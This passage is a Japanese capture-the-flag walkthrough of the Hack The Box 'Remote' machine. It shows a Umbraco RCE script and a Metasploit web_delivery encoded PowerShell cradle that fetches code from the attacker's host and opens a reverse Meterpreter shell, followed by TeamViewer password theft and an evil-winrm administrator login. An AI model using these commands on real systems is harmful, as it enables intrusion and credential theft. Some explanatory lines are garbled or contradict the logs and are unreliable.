└─$ python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'hostname; pwd; whoami'
remote
iis apppool\defaultapppool
Path
----
C:\windows\system32\inetsrv
Metasploitで侵入
Metasploit Framework(特にMetasploit6)を使用して、Umbraco CMS 7.12.4の脆弱性を利用する方法を以下にステップごとに説明します。
Metasploitを起動
ターミナルを開き、以下のコマンドを実行してMetasploitを起動します。
(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ msfconsole
.~+P``````-o+:. -o+:.
.+oooyysyyssyyssyddh++os-````` ``````````````` `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.` .-.-...-////+++++++++++++++////////~~//////++++++++++++///
`...............` `...-/////...`
.::::::::::-. .::::::-
.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
:Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
.sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
-Nd` :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
-Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
`oo/``-hd: `` .sNd :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
.yNmMMh//+syysso-`````` -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
.shMMMMN//dmNMMMMMMMMMMMMs` `:```-o++++oooo+:/ooooo+:+o+++oooo++/
`///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
/MMMMMMMMMMMMMMMMMMd. `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
-hMMmssddd+:dMMmNMMh. `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
.sMMmo. -dMd--:mN/` ||--X--|| ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================
Press ENTER to size up the situation
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Press SPACE BAR to continue
=[ metasploit v6.3.25-dev ]
+ -- --=[ 2332 exploits - 1219 auxiliary - 413 post ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
しばらくすると、Metasploitのプロンプトが表示されます。
適切なExploitモジュールの検索
Umbraco CMS 7.12.4の脆弱性をターゲットにするExploitモジュールを検索します。
msf6 > search umbraco
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/umbraco_upload_aspx 2012-06-28 excellent No Umbraco CMS Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/umbraco_upload_aspx
msf6 > Interrupt: use the 'exit' command to quit
msf6 >
3. Exploitモジュールの使用
最も関連性の高いexploitモジュールを使用するように設定します。この例では、該当するexploitモジュールが見つかったと仮定して、その名前をexploit/platform/module_name
とします。実際の名前に置き換えてください。
use exploit/multi/script/web_delivery
4. オプションの設定
Exploitに必要なオプションを設定します。
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.5
set srvhost 10.10.14.5
- set target 2 :
- このコマンドは、
web_delivery
というMetasploitのモジュールを使用する際に、どのターゲットを攻撃するかを指定するためのものです。ここでの2
は特定のOSやアプリケーションを指します。
- このコマンドは、
- set payload windows/x64/meterpreter/reverse_tcp :
- このコマンドは、攻撃時に使用するペイロードを設定します。この場合、
reverse_tcp
ペイロードを使ってWindows x64ターゲットにMeterpreterセッションを開設することを意味しています。
- このコマンドは、攻撃時に使用するペイロードを設定します。この場合、
- set lhost 10.10.14.5 :
- このコマンドは、リバース接続時の攻撃者のIPアドレスを設定します。
- set srvhost 10.10.14.5 :
- このコマンドは、ペイロードを配信するためのサーバーのIPアドレスを設定します。
- exploit :
web_delivery
モジュールを実行して攻撃を開始します。
5. Exploitの実行
すべてのオプションを正しく設定したら、exploitを実行します。
exploit
6. セッションの管理
成功すれば、ターゲットマシンのシェルが取得できます。Metasploitはこの新しいセッションを管理します。セッションのリストを表示するには、以下のコマンドを使用します。
sessions
セッションに接続するには、以下のように指定のセッションIDを使用します。
sessions -i 1
msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Using URL: http://10.10.14.5:8080/CPFT87
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AGUARgBNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHUAZQBGAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AGUARgBNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANQA6ADgAMAA4ADAALwBDAFAARgBUADgANwAvADIAdwAzAHUARQB3AGwAWQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA1ADoAOAAwADgAMAAvAEMAUABGAFQAOAA3ACcAKQApADsA
[*] 10.10.10.180 web_delivery - Delivering AMSI Bypass (1389 bytes)
[*] 10.10.10.180 web_delivery - Delivering Payload (3675 bytes)
[*] Sending stage (200774 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.180:49771) at 2023-09-10 21:54:28 +0900
se
search services sessions set setg
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ REMOTE 10.10.14.5:4444 -> 10.10.10.180:49771 (10.10.10.180)
msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : REMOTE
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter > pwd
C:\windows\system32\inetsrv
meterpreter > dir
Listing: C:\Users\Public
========================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040555/r-xr-xr-x 0 dir 2020-02-20 05:03:50 +0900 AccountPictures
040555/r-xr-xr-x 0 dir 2020-02-20 16:14:59 +0900 Desktop
040555/r-xr-xr-x 4096 dir 2020-02-20 05:03:20 +0900 Documents
040555/r-xr-xr-x 0 dir 2018-09-15 16:19:03 +0900 Downloads
040555/r-xr-xr-x 0 dir 2018-09-15 16:19:03 +0900 Libraries
040555/r-xr-xr-x 0 dir 2018-09-15 16:19:03 +0900 Music
040555/r-xr-xr-x 0 dir 2018-09-15 16:19:03 +0900 Pictures
040555/r-xr-xr-x 0 dir 2018-09-15 16:19:03 +0900 Videos
100666/rw-rw-rw- 174 fil 2018-09-15 16:16:48 +0900 desktop.ini
100444/r--r--r-- 34 fil 2023-09-10 12:56:58 +0900 user.txt
meterpreter > cat user.txt
(1
はセッションIDです。実際のIDに置き換えてください)
これで、Umbraco CMS 7.12.4の脆弱性を利用して、ターゲットマシンにアクセスする方法が完了しました。
リバースシェルの実行
(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AGUARgBNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHUAZQBGAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AGUARgBNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANQA6ADgAMAA4ADAALwBDAFAARgBUADgANwAvADIAdwAzAHUARQB3AGwAWQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA1ADoAOAAwADgAMAAvAEMAUABGAFQAOAA3ACcAKQApADsA';
- python3 exploit.py :
exploit.py
というPythonスクリプトを実行します。
- [object Object] :
- ターゲットのユーザー名として
admin@htb.local
を使用します。
- ターゲットのユーザー名として
- -p baconandcheese :
- ユーザーのパスワードとして
baconandcheese
を使用します。
- ユーザーのパスワードとして
- ' :
- 攻撃対象のURLやIPアドレスを指定します。
- -c powershell.exe :
- ターゲットにコマンドを実行させるために、
powershell.exe
を使用します。
- ターゲットにコマンドを実行させるために、
- -a 'powershell.exe -nop -w hidden ...' :
- 実際にターゲットに実行させるコマンドを指定します。この場合、Base64エンコードされたPowerShellスクリプトをデコードして実行させることを意図しています。このスクリプトは、前述のMetasploitの
web_delivery
モジュールで生成されたものです。
- 実際にターゲットに実行させるコマンドを指定します。この場合、Base64エンコードされたPowerShellスクリプトをデコードして実行させることを意図しています。このスクリプトは、前述のMetasploitの
利用(Exploitation)
特権昇格(Privilege Escalation)
特権昇格の可能性を探るためには、異常な振る舞いや脆弱性が知られているソフトウェアを特定することが一般的です。提供されたディレクトリのリストから、次のポイントに注目すると良いでしょう:
- 旧いソフトウェア: 古いバージョンのソフトウェアは、新しいバージョンでは修正されている脆弱性を持つ可能性があります。
- サードパーティのソフトウェア: Microsoftの公式のアプリケーションよりも、サードパーティ製のソフトウェアの方が脆弱性が存在する可能性が高いです。
上記のリストから、以下の項目が特権昇格の可能性の観点から興味深いです:
- TeamViewer: TeamViewerはリモートアクセスツールとして非常に人気がありますが、古いバージョンや特定の設定は脆弱性を持つ可能性があります。TeamViewerのバージョンを確認し、既知の脆弱性がないかを調査すると良いでしょう。
-
Microsoft SQL Server: こちらもバージョンによっては脆弱性が存在する可能性があります。特に、誤って公開されている認証情報やミスコンフィグがあると、特権昇格のチャンスが増えます。
TeamViewerをターゲットとして特権昇格を試みる場合、以下の手順を参考にしてください。
1. 環境のセットアップ
まず、Metasploit Framework (MSF) を起動します。
meterpreter > pwd
C:\Program Files (x86)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/script/web_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows IIS APPPOOL\DefaultAppPool @ REMOTE 10.10.14.5:4444 -> 10.10.10.180:49771 (10.10.10.180)
msf6 exploit(multi/script/web_delivery) >
2. TeamViewerの脆弱性を検索
MSFには多数のexploitが用意されています。TeamViewer関連のexploitを検索します。
msf6 > search teamviewer
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/teamviewer_uri_smb_redirect normal No TeamViewer Unquoted URI Handler SMB Redirect
1 post/windows/gather/credentials/teamviewer_passwords normal No Windows Gather TeamViewer Passwords
Interact with a module by name or index. For example info 1, use 1 or use post/windows/gather/credentials/teamviewer_passwords
Metasploitのsearchコマンド
Metasploit Framework(以下MSF)はペネトレーションテストツールです。search
コマンドはMSF内のモジュールを検索するためのコマンドです。この場合、"teamviewer"というキーワードでモジュールを検索しています。
表の見方
上記の結果は、MSFに含まれる"teamviewer"に関連するモジュールのリストです。
#
: モジュールのインデックス番号。特定のモジュールを選択する際に使用します。Name
: モジュールの名前。この名前を使用してモジュールをロードしたり詳細情報を表示したりします。Disclosure Date
: 脆弱性が公開された日付。この情報は特定のモジュールには表示されないことがあります。Rank
: モジュールの信頼性を示すランク。"excellent"から"low"までの範囲で評価されます。Check
: このモジュールがターゲットが脆弱性を持っているかどうかを確認する機能を持っているかどうか。"Yes"なら持っていて、"No"なら持っていません。Description
: モジュールの簡単な説明。-
リスト内容の詳細
- モジュール0: TeamViewer Unquoted URI Handler SMB Redirect
- これは
auxiliary
モジュールであり、攻撃を行うものではなく、情報を収集するか、特定の状況を作り出すためのものです。 - この具体的なモジュールは、TeamViewerのURIハンドラの脆弱性を利用して、SMBリダイレクトを作成するものです。
- これは
- モジュール1: Windows Gather TeamViewer Passwords
- これは
post
モジュールで、ペネトレーションテストの後段階、すなわち既にターゲットにアクセスしている状態で利用されるものです。 - このモジュールは、Windowsマシン上のTeamViewerのパスワード情報を収集するためのものです。
- これは
このコマンドの出力を確認して、使用可能なexploitを特定します。
3. 選択したexploitの使用
選択したexploitを使用するためのコマンドを入力します。
use post/windows/gather/credentials/teamviewer_passwords
ここで[exploit_path]
は、前のステップで見つけたexploitのパスです。
4. オプションの設定
exploitには、正常に動作するためのいくつかのオプションが必要です。これらのオプションを設定します。
msf6 post(windows/gather/credentials/teamviewer_passwords) > show options
Module options (post/windows/gather/credentials/teamviewer_passwords):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
WINDOW_TITLE TeamViewer no Specify a title for getting the window handle, e.g. TeamViewer
このコマンドは、設定が必要なオプションのリストを表示します。必要に応じて各オプションを設定します。
msf6 post(windows/gather/credentials/teamviewer_passwords) > set session 1
session => 1
Metasploitのshow optionsコマンド
Metasploit Framework(以下、MSF)内で、特定のモジュールを使うときには、そのモジュールに必要な設定やオプションを知る必要があります。show options
コマンドは、選択中のモジュールの利用可能なオプションとその現在の設定を表示するためのコマンドです。
表の見方
Name
: オプションの名前。この名前を使って、オプションの値を設定します。Current Setting
: そのオプションの現在の設定値。Required
: そのオプションが必須かどうか。"yes"なら必須で、"no"ならオプションです。Description
: そのオプションの説明。何のためのオプションなのか、どのような値を期待しているのかを示しています。
表内容の詳細
- SESSIONオプション :
- このオプションは、モジュールを実行するセッションを指定するためのものです。ペネトレーションテスト中に複数のセッションがある場合、どのセッションでこのモジュールを実行するかを指定する必要があります。
Required
が"yes"になっているので、このオプションは必須です。Current Setting
が空白なので、このオプションはまだ設定されていません。- WINDOW_TITLEオプション :
- このオプションは、特定のウィンドウのタイトルを指定するためのものです。このモジュールは、特定のウィンドウタイトルを持つウィンドウを探して、そのウィンドウから情報を収集します。
Required
が"no"なので、このオプションは必須ではありません。しかし、特定のウィンドウタイトルを指定することで、情報収集の精度を向上させることができます。Current Setting
は"TeamViewer"となっているので、このモジュールはデフォルトで"TeamViewer"というタイトルを持つウィンドウを探します。
5. 脆弱性の利用
全てのオプションが正しく設定されたら、exploitを実行して脆弱性を利用します。
msf6 post(windows/gather/credentials/teamviewer_passwords) > exploit
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
(base) ┌──(x42s㉿kali)-[~]
└─$ sudo gem install evil-winrm
[sudo] x42s のパスワード:
^[[6~^[[6~Fetching multi_json-1.15.0.gem
Fetching httpclient-2.8.3.gem
Fetching nori-2.6.0.gem
Fetching builder-3.2.4.gem
Fetching rubyntlm-0.6.3.gem
evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180
(base) ┌──(x42s㉿kali)-[~]
└─$ evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/19/2020 4:26 PM SQL Server Management Studio
d----- 2/20/2020 12:05 AM Visual Studio 2017
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 2/19/2020 3:03 PM 3D Objects
d-r--- 2/19/2020 3:03 PM Contacts
d-r--- 2/20/2020 2:41 AM Desktop
d-r--- 2/19/2020 4:26 PM Documents
d-r--- 2/23/2020 1:22 PM Downloads
d-r--- 2/19/2020 3:03 PM Favorites
d-r--- 2/19/2020 3:03 PM Links
d-r--- 2/19/2020 3:03 PM Music
d-r--- 2/19/2020 3:03 PM Pictures
d-r--- 2/19/2020 3:03 PM Saved Games
d-r--- 2/20/2020 12:45 AM Searches
d-r--- 2/19/2020 3:03 PM Videos
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 9/9/2023 11:56 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
コメント